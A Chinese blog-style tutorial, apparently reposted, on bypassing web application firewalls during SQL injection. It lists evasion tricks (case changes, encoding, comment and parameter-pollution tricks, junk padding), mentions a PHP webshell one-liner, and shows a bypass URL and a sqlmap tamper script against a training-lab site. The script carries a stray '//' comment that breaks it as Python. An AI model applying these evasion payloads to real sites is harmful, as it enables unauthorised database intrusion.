sqlmap绕华夫
作者:互联网
0x001 waf介绍
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)
核心目的:防御网站被入侵。
具体手段:检测到你的入侵者,然后拦截你当前访问的页面或者是跳转其他页面,或者是直接禁止你的ip访问。
日常生活中,有些网站不一定安装了WAF,但是他可能会有自己的防护策略,过滤你的恶意传参数据,例如传参不能出现union,不能出现and 1=1等等等
常见的waf:https://www.cnblogs.com/charon1937/p/13799467.html
waf实现的核心机制一般是:正则表达式
绕waf的核心原则是:先在本地搭建环境测试
0x002 常见的绕过手法
1、用其他函数、写法替代 $a=get_defined_functions();$a['internal']841; (这个是一句话木马)
2、大小写绕过(有些老WAF大小写就能绕)
3、替换绕过:有些过滤规则强行删除检测到的代码,然后执行
4、编码绕过:网站因为功能需要有编解码,然后因为WAF不认识编码后的值然后绕过了
5、注释绕过:WAF有的时候会认为注释后的东西是安全的,然后可以尝试hpp
6、白名单绕过:本地访问可能不拦截、管理员权限 (1、文件白名单 )
7、垃圾数据填充:写个一大堆数据,然后传参,WAF只检测其中一部分绕过了
1、4、7是比较常见的
常见替代:
空格替代+(+是因为URL编码) 或者是/**/
sleep() 用 sleep/**/()或者`sleep`()代替
0x003 绕waf的sqlmap脚本编写
这里以机构的靶场为例http://p9kj8014.ia.aqlab.cn/index.php?id=1
①http://p9kj8014.ia.aqlab.cn/index.php?id=1 and 1=1
发现被拦截了
②我们发现构造http://p9kj8014.ia.aqlab.cn/index.php?id=1/*order by 1&id=1 order by 2 -- qwe*/ 这种特殊的url语句可以帮助我们绕过waf
③开始编写sqlmap的脚本
https://www.webshell.cc/7162.html
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload=payload + '-- qwe*/' //在所有的url语句后加上-- qwe*/
return payload
④我们现在就可以用sqlmap跑包了
抓包之后构建语句
sqlmap.py -r maoshe.txt --tamper smart01.py
这里要选择no因为我们* 并不算注入点
待更新(sqlmap暂时没有跑出来)
标签:sqlmap,--,waf,WAF,绕过,绕华夫,payload 来源: https://www.cnblogs.com/linzexing/p/16074591.html